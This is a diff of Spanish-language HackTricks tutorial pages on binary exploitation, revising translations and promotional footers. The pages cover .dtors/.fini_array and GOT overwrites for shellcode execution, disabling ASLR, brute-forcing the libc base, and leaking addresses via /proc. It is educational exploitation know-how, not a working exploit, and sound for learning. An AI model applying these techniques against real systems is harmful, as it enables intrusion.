Si **`system`** **no se utiliza** en el script, la función system **no** tendrá una entrada en la PLT. En este escenario, deberás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección. Si **`system`** **no es utilizado** por el script, la función del sistema **no** tendrá una entrada en la PLT. En este escenario, necesitarás **filtrar primero la dirección** de la función `system` y luego sobrescribir la GOT para apuntar a esta dirección.
Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`** Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`**
## **One Gadget** ## **Un Gadget**
{% content-ref url="../one-gadget.md" %} {% content-ref url="../one-gadget.md" %}
[one-gadget.md](../one-gadget.md) [one-gadget.md](../one-gadget.md)
@ -62,7 +63,7 @@ Puedes ver las direcciones de la PLT con **`objdump -j .plt -d ./vuln_binary`**
## **Protecciones** ## **Protecciones**
La protección **Full RELRO** está diseñada para proteger contra este tipo de técnica al resolver todas las direcciones de las funciones cuando se inicia el binario y hacer que la **tabla GOT sea de solo lectura** después de eso: La protección **Full RELRO** está destinada a proteger contra este tipo de técnica al resolver todas las direcciones de las funciones cuando se inicia el binario y hacer que la **tabla GOT sea de solo lectura** después de eso:
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %} {% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
[relro.md](../common-binary-protections-and-bypasses/relro.md) [relro.md](../common-binary-protections-and-bypasses/relro.md)
@ -73,16 +74,17 @@ La protección **Full RELRO** está diseñada para proteger contra este tipo de
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) * [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# AWS2Exec - .dtors & .fini\_array # AWS2Exec - .dtors & .fini\_array
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## .dtors ## .dtors
@ -20,23 +21,23 @@ Otras formas de apoyar a HackTricks:
Hoy en día es muy **raro encontrar un binario con una sección .dtors**. Hoy en día es muy **raro encontrar un binario con una sección .dtors**.
{% endhint %} {% endhint %}
Los destructores son funciones que se **ejecutan antes de que el programa finalice** (después de que la función `main` retorne).\ Los destructores son funciones que se **ejecutan antes de que el programa termine** (después de que la función `main` retorna).\
Las direcciones de estas funciones se almacenan dentro de la sección **`.dtors`** del binario y, por lo tanto, si logras **escribir** la **dirección** de un **shellcode** en **`__DTOR_END__`**, este se **ejecutará** antes de que el programa termine. Las direcciones de estas funciones se almacenan dentro de la sección **`.dtors`** del binario y, por lo tanto, si logras **escribir** la **dirección** a un **shellcode** en **`__DTOR_END__`**, eso será **ejecutado** antes de que el programa termine.
Obtén la dirección de esta sección con: Obtén la dirección de esta sección con:
```bash ```bash
objdump -s -j .dtors /exec objdump -s -j .dtors /exec
rabin -s /exec | grep “__DTOR” rabin -s /exec | grep “__DTOR”
``` ```
Por lo general, encontrarás los marcadores **DTOR** **entre** los valores `ffffffff` y `00000000`. Entonces, si solo ves esos valores, significa que **no hay ninguna función registrada**. Por lo tanto, **sobrescribe** el **`00000000`** con la **dirección** del **shellcode** para ejecutarlo. Usualmente encontrarás los marcadores **DTOR** **entre** los valores `ffffffff` y `00000000`. Así que si solo ves esos valores, significa que **no hay ninguna función registrada**. Así que **sobrescribe** el **`00000000`** con la **dirección** al **shellcode** para ejecutarlo.
{% hint style="warning" %} {% hint style="warning" %}
Por supuesto, primero necesitas encontrar un **lugar para almacenar el shellcode** para luego llamarlo. Por supuesto, primero necesitas encontrar un **lugar para almacenar el shellcode** para poder llamarlo más tarde.
{% endhint %} {% endhint %}
## **.fini\_array** ## **.fini\_array**
Básicamente, esta es una estructura con **funciones que se llamarán** antes de que el programa finalice, como **`.dtors`**. Esto es interesante si puedes llamar tu **shellcode simplemente saltando a una dirección**, o en casos en los que necesitas volver a `main` nuevamente para **explotar la vulnerabilidad por segunda vez**. Esencialmente, esta es una estructura con **funciones que serán llamadas** antes de que el programa termine, como **`.dtors`**. Esto es interesante si puedes llamar a tu **shellcode simplemente saltando a una dirección**, o en casos donde necesitas volver a **`main`** nuevamente para **explotar la vulnerabilidad una segunda vez**.
```bash ```bash
objdump -s -j .fini_array ./greeting objdump -s -j .fini_array ./greeting
@ -47,22 +48,23 @@ Contents of section .fini_array:
#Put your address in 0x8049934 #Put your address in 0x8049934
``` ```
Ten en cuenta que esto **no** creará un **bucle eterno** porque cuando regreses a la función principal, el canario lo notará, el final de la pila podría estar corrompido y la función no se volverá a llamar. Por lo tanto, con esto podrás **tener 1 ejecución más** de la vulnerabilidad. Note que esto **no** **creará** un **bucle eterno** porque cuando regreses a main el canario lo notará, el final de la pila podría estar corrupto y la función no se volverá a llamar. Así que con esto podrás **tener 1 ejecución más** de la vulnerabilidad.
{% hint style="danger" %} {% hint style="danger" %}
Ten en cuenta que con [Full Relro](../common-binary-protections-and-bypasses/relro.md), la sección `.fini_array` se vuelve **de solo lectura**. Note que con [Full RELRO](../common-binary-protections-and-bypasses/relro.md), la sección `.fini_array` se vuelve **de solo lectura**.
{% endhint %} {% endhint %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# Protecciones Comunes en Binarios # Protecciones Binarias Comunes
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Habilitar Archivos Core ## Habilitar archivos de núcleo
Los **archivos core** son un tipo de archivo generado por un sistema operativo cuando un proceso se bloquea. Estos archivos capturan la imagen de la memoria del proceso bloqueado en el momento de su terminación, incluida la memoria del proceso, los registros y el estado del contador de programa, entre otros detalles. Esta instantánea puede ser extremadamente valiosa para la depuración y comprensión de por qué ocurrió el bloqueo. **Los archivos de núcleo** son un tipo de archivo generado por un sistema operativo cuando un proceso falla. Estos archivos capturan la imagen de memoria del proceso fallido en el momento de su terminación, incluyendo la memoria del proceso, registros y el estado del contador de programa, entre otros detalles. Esta instantánea puede ser extremadamente valiosa para depurar y entender por qué ocurrió el fallo.
### **Habilitar la Generación de Volcados Core** ### **Habilitando la Generación de Volcados de Núcleo**
Por defecto, muchos sistemas limitan el tamaño de los archivos core a 0 (es decir, no generan archivos core) para ahorrar espacio en disco. Para habilitar la generación de archivos core, puedes utilizar el comando `ulimit` (en bash u otros shells similares) o configurar ajustes a nivel de sistema. Por defecto, muchos sistemas limitan el tamaño de los archivos de núcleo a 0 (es decir, no generan archivos de núcleo) para ahorrar espacio en disco. Para habilitar la generación de archivos de núcleo, puedes usar el comando `ulimit` (en bash o shells similares) o configurar ajustes a nivel de sistema.
* **Usando ulimit**: El comando `ulimit -c unlimited` permite que la sesión de shell actual cree archivos core de tamaño ilimitado. Esto es útil para sesiones de depuración pero no es persistente a través de reinicios o nuevas sesiones. * **Usando ulimit**: El comando `ulimit -c unlimited` permite que la sesión de shell actual cree archivos de núcleo de tamaño ilimitado. Esto es útil para sesiones de depuración, pero no es persistente entre reinicios o nuevas sesiones.
```bash ```bash
ulimit -c unlimited ulimit -c unlimited
``` ```
* **Configuración Persistente**: Para una solución más permanente, puedes editar el archivo `/etc/security/limits.conf` para incluir una línea como `* soft core unlimited`, lo cual permite a todos los usuarios generar archivos core de tamaño ilimitado sin tener que establecer ulimit manualmente en sus sesiones. * **Configuración Persistente**: Para una solución más permanente, puedes editar el archivo `/etc/security/limits.conf` para incluir una línea como `* soft core unlimited`, que permite a todos los usuarios generar archivos de núcleo de tamaño ilimitado sin tener que establecer ulimit manualmente en sus sesiones.
```markdown ```markdown
* soft core unlimited * soft core unlimited
``` ```
### **Análisis de archivos core con GDB** ### **Analizando Archivos de Núcleo con GDB**
Para analizar un archivo core, puedes utilizar herramientas de depuración como GDB (el Depurador GNU). Suponiendo que tienes un ejecutable que produjo un volcado core y el archivo core se llama `core_file`, puedes iniciar el análisis con: Para analizar un archivo de núcleo, puedes usar herramientas de depuración como GDB (el depurador GNU). Suponiendo que tienes un ejecutable que produjo un volcado de núcleo y el archivo de núcleo se llama `core_file`, puedes comenzar el análisis con:
```bash ```bash
gdb /path/to/executable /path/to/core_file gdb /path/to/executable /path/to/core_file
``` ```
Este comando carga el ejecutable y el archivo core en GDB, lo que te permite inspeccionar el estado del programa en el momento del fallo. Puedes usar comandos de GDB para explorar la pila, examinar variables y comprender la causa del fallo. Este comando carga el ejecutable y el archivo de núcleo en GDB, lo que te permite inspeccionar el estado del programa en el momento del fallo. Puedes usar comandos de GDB para explorar la pila, examinar variables y entender la causa del fallo.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,55 +1,56 @@
# ASLR # ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
**La Randomización del Diseño del Espacio de Direcciones (ASLR, por sus siglas en inglés)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de las aplicaciones. Al hacerlo, se vuelve significativamente más difícil para un atacante predecir la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, lo que mitiga ciertos tipos de exploits, especialmente los desbordamientos de búfer. **Address Space Layout Randomization (ASLR)** es una técnica de seguridad utilizada en sistemas operativos para **aleatorizar las direcciones de memoria** utilizadas por los procesos del sistema y de la aplicación. Al hacerlo, se dificulta significativamente que un atacante prediga la ubicación de procesos y datos específicos, como la pila, el montón y las bibliotecas, mitigando así ciertos tipos de exploits, particularmente desbordamientos de búfer.
### **Verificar el Estado de ASLR** ### **Verificando el Estado de ASLR**
Para **verificar** el estado de ASLR en un sistema Linux, puedes leer el valor del archivo `/proc/sys/kernel/randomize_va_space`. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando: Para **verificar** el estado de ASLR en un sistema Linux, puedes leer el valor del archivo `/proc/sys/kernel/randomize_va_space`. El valor almacenado en este archivo determina el tipo de ASLR que se está aplicando:
* **0**: Sin aleatorización. Todo es estático. * **0**: Sin aleatorización. Todo es estático.
* **1**: Aleatorización conservadora. Se aleatorizan las bibliotecas compartidas, la pila, mmap(), la página VDSO. * **1**: Aleatorización conservadora. Las bibliotecas compartidas, la pila, mmap(), la página VDSO están aleatorizadas.
* **2**: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de `brk()` se aleatoriza. * **2**: Aleatorización completa. Además de los elementos aleatorizados por la aleatorización conservadora, la memoria gestionada a través de `brk()` está aleatorizada.
Puedes verificar el estado de ASLR con el siguiente comando: Puedes verificar el estado de ASLR con el siguiente comando:
```bash ```bash
cat /proc/sys/kernel/randomize_va_space cat /proc/sys/kernel/randomize_va_space
``` ```
### **Desactivando ASLR** ### **Deshabilitando ASLR**
Para **desactivar** ASLR, establece el valor de `/proc/sys/kernel/randomize_va_space` en **0**. Desactivar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Así es como puedes desactivarlo: Para **deshabilitar** ASLR, debes establecer el valor de `/proc/sys/kernel/randomize_va_space` en **0**. Deshabilitar ASLR generalmente no se recomienda fuera de escenarios de prueba o depuración. Aquí tienes cómo puedes deshabilitarlo:
```bash ```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
También puedes desactivar ASLR para una ejecución con: También puedes deshabilitar ASLR para una ejecución con:
```bash ```bash
setarch `arch` -R ./bin args setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args setarch `uname -m` -R ./bin args
``` ```
### **Habilitar ASLR** ### **Habilitando ASLR**
Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto suele requerir privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando: Para **habilitar** ASLR, puedes escribir un valor de **2** en el archivo `/proc/sys/kernel/randomize_va_space`. Esto generalmente requiere privilegios de root. La habilitación de la aleatorización completa se puede hacer con el siguiente comando:
```bash ```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
``` ```
### **Persistencia a través de reinicios** ### **Persistencia a Través de Reinicios**
Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, debes editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea: Los cambios realizados con los comandos `echo` son temporales y se restablecerán al reiniciar. Para hacer que el cambio sea persistente, necesitas editar el archivo `/etc/sysctl.conf` y agregar o modificar la siguiente línea:
```tsconfig ```tsconfig
kernel.randomize_va_space=2 # Enable ASLR kernel.randomize_va_space=2 # Enable ASLR
# or # or
@ -59,7 +60,7 @@ Después de editar `/etc/sysctl.conf`, aplica los cambios con:
```bash ```bash
sudo sysctl -p sudo sysctl -p
``` ```
Esto asegurará que la configuración de tu ASLR se mantenga después de reinicios. Esto asegurará que la configuración de ASLR se mantenga a través de reinicios.
## **Bypasses** ## **Bypasses**
@ -67,21 +68,21 @@ Esto asegurará que la configuración de tu ASLR se mantenga después de reinici
PaX divide el espacio de direcciones del proceso en **3 grupos**: PaX divide el espacio de direcciones del proceso en **3 grupos**:
* **Código y datos** (inicializados y no inicializados): `.text`, `.data` y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente en cada proceso y se suma a las direcciones iniciales. * **Código y datos** (inicializados y no inicializados): `.text`, `.data`, y `.bss` —> **16 bits** de entropía en la variable `delta_exec`. Esta variable se inicializa aleatoriamente con cada proceso y se suma a las direcciones iniciales.
* **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamados `delta_mmap`. * **Memoria** asignada por `mmap()` y **bibliotecas compartidas** —> **16 bits**, llamada `delta_mmap`.
* **La pila** —> **24 bits**, referidos como `delta_stack`. Sin embargo, efectivamente utiliza **11 bits** (desde el byte 10 al 20 inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones reales de pila**. * **La pila** —> **24 bits**, referida como `delta_stack`. Sin embargo, utiliza efectivamente **11 bits** (del 10º al 20º byte inclusive), alineados a **16 bytes** —> Esto resulta en **524,288 posibles direcciones de pila reales**.
Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR intentando la ejecución una y otra vez hasta que el exploit se complete con éxito. Los datos anteriores son para sistemas de 32 bits y la entropía final reducida hace posible eludir ASLR al reintentar la ejecución una y otra vez hasta que el exploit se complete con éxito.
#### Ideas de fuerza bruta: #### Ideas de fuerza bruta:
* Si tienes un desbordamiento lo suficientemente grande para alojar un **gran trineo NOP antes del código de la shell**, podrías simplemente forzar direcciones en la pila hasta que el flujo **salte sobre alguna parte del trineo NOP**. * Si tienes un desbordamiento lo suficientemente grande para alojar un **gran NOP sled antes del shellcode**, podrías simplemente forzar direcciones en la pila hasta que el flujo **salte sobre alguna parte del NOP sled**.
* Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible **agregar el trineo NOP y el código de la shell en una variable de entorno**. * Otra opción para esto en caso de que el desbordamiento no sea tan grande y el exploit se pueda ejecutar localmente es posible **agregar el NOP sled y el shellcode en una variable de entorno**.
* Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits): * Si el exploit es local, puedes intentar forzar la dirección base de libc (útil para sistemas de 32 bits):
```python ```python
for off in range(0xb7000000, 0xb8000000, 0x1000): for off in range(0xb7000000, 0xb8000000, 0x1000):
``` ```
* Si estás atacando un servidor remoto, podrías intentar **forzar la dirección de la función `usleep` de la `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10 segundos adicionales en responder**, has encontrado la dirección de esta función. * Si atacas un servidor remoto, podrías intentar **forzar la dirección de la función `usleep` de `libc`**, pasando como argumento 10 (por ejemplo). Si en algún momento el **servidor tarda 10s extra en responder**, encontraste la dirección de esta función.
{% hint style="success" %} {% hint style="success" %}
En sistemas de 64 bits, la entropía es mucho mayor y esto no es posible. En sistemas de 64 bits, la entropía es mucho mayor y esto no es posible.
@ -91,24 +92,24 @@ En sistemas de 64 bits, la entropía es mucho mayor y esto no es posible.
El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y **contiene información interesante** como: El archivo **`/proc/[pid]/stat`** de un proceso siempre es legible por todos y **contiene información interesante** como:
* **startcode** y **endcode**: Direcciones arriba y abajo con el **TEXTO** del binario * **startcode** & **endcode**: Direcciones por encima y por debajo con el **TEXT** del binario
* **startstack**: La dirección de inicio del **stack** * **startstack**: La dirección del inicio de la **pila**
* **start\_data** y **end\_data**: Direcciones arriba y abajo donde está el **BSS** * **start\_data** & **end\_data**: Direcciones por encima y por debajo donde está el **BSS**
* **kstkesp** y **kstkeip**: Direcciones actuales de **ESP** y **EIP** * **kstkesp** & **kstkeip**: Direcciones actuales de **ESP** y **EIP**
* **arg\_start** y **arg\_end**: Direcciones arriba y abajo donde están los **argumentos de la línea de comandos** * **arg\_start** & **arg\_end**: Direcciones por encima y por debajo donde están los **argumentos cli**.
